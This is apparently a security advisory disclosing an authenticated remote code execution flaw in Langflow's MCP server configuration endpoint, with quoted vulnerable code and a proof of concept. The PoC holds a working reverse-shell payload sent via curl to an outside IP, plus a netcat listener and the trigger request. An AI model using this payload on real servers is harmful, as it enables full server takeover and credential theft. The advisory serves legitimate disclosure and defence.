Summary

Any authenticated Langflow user can achieve Remote Code Execution (RCE) on the server by adding an MCP server with the "Stdio" transport. The user-supplied command field is passed directly to bash -c "exec {command}" with zero validation, no allowlisting, and no sandboxing. The command executes immediately when the server list is fetched. Additionally, the env field allows arbitrary environment variable injection (e.g., LD_PRELOAD, PATH override).

Details

1. API accepts arbitrary command POST /api/v2/mcp/servers/{server_name}

File: src/backend/base/langflow/api/v2/mcp.py, lines 324-342

The endpoint accepts an MCPServerConfig body from any authenticated user (not restricted to superusers):

File: src/backend/base/langflow/api/v2/schemas.py, lines 6-17

class MCPServerConfig(BaseModel):
    command: str | None = None       # Attacker-controlled OS command
    args: list[str] | None = None    # Attacker-controlled arguments
    env: dict[str, str] | None = None  # Attacker-controlled environment variables
    url: str | None = None
    headers: dict[str, str] | None = None

2. No command validation

File: src/lfx/src/lfx/base/mcp/util.py, lines 463-484

The only "validation" checks if Node.js is installed when npx is in the command string. There is no allowlist of permitted commands, no blocklist of dangerous commands, no path restriction, and no character filtering:

def _validate_node_installation(command: str) -> str:
    if "npx" in command and not shutil.which("node"):
        msg = "Node.js is not installed."
        raise ValueError(msg)
    return command

3. Direct shell execution via bash -c

File: src/lfx/src/lfx/base/mcp/util.py, lines 1057-1078

The user-supplied command string is embedded directly in a bash -c call:

async def _connect_to_server(self, command_str: str, env: dict[str, str] | None = None):
    env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}

    server_params = StdioServerParameters(
        command="bash",
        args=["-c", f"exec {command_str} || echo 'Command failed...'"],
        env=env_data,
    )

The StdioServerParameters are then passed to the MCP SDK which spawns the process via anyio.open_process().

4. Environment variable injection

The user-controlled env dict is merged directly into the subprocess environment (line 1062), allowing:

• PATH override to control which binaries are resolved
• LD_PRELOAD injection on Linux to load arbitrary shared libraries
• Any environment variable that affects spawned processes

5. Passive execution trigger

File: src/backend/base/langflow/api/v2/mcp.py, line 198

The command executes automatically when the server list is fetched with action_count=true:

GET /api/v2/mcp/servers?action_count=true

This happens in the Langflow UI when navigating to the MCP settings page. The malicious command re-executes every time the list is loaded, without the user or admin actively running any flow.

PoC

Step 1 Login as a regular (non-admin) user

Register a regular user account and obtain a JWT token.

Step 2 Add a malicious MCP server with an arbitrary OS command

Send a POST /api/v2/mcp/servers/rce_proof request with a command field containing a reverse shell payload. The server accepts and stores it without any validation.

TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI4NjRkYzQ1Mi0zYTIyLTRkYjYtYTc1OC05NmNjODA3NTUzYTIiLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxNzc0NDc4Mjk0fQ.Wl-lHOuYLQF5516w9Cz6klmiyk2HTemzFdVE_QzcZFA"

curl -s -X POST http://localhost:7860/api/v2/mcp/servers/shell   -H "Authorization: Bearer $TOKEN"   -H "Content-Type: application/json"   -d '{
    "command": "bash",
    "args": ["-c", "bash -i >& /dev/tcp/172.27.86.180/4444 0>&1"],
    "env": {}
  }'

In parallel on another terminal setup a listener with the following command:

nc -lnvp 4444

Step 3 Trigger execution by listing servers

Send a GET /api/v2/mcp/servers?action_count=true request. The server attempts to connect to the stdio MCP server, which causes bash -c "exec {command}" to run. The response is awaiting and the terminal hungs.

curl -s http://localhost:7860/api/v2/mcp/servers?action_count=true \
  -H "Authorization: Bearer $TOKEN" | jq

Step 4 Verify code execution

Check the terminal where you have setup the listener and notice that you have gotten a reverse shell

Impact

Any authenticated Langflow user (including non-admin accounts) can execute arbitrary OS commands on the server with the privileges of the Langflow process.

Specific impacts:

• Full server compromise: arbitrary file read/write, command execution, reverse shell
• Environment variable injection: LD_PRELOAD for shared library injection, PATH override for binary hijacking
• Persistent backdoor: the malicious MCP server config persists and re-executes every time the server list is loaded (including by other users or admins navigating the MCP settings page)
• Stealth: unlike custom component code which is visible in the flow editor, MCP server configs are stored in project settings and are not visible during normal flow review
• Lateral movement: access to internal network, cloud metadata endpoints, database credentials stored in environment variables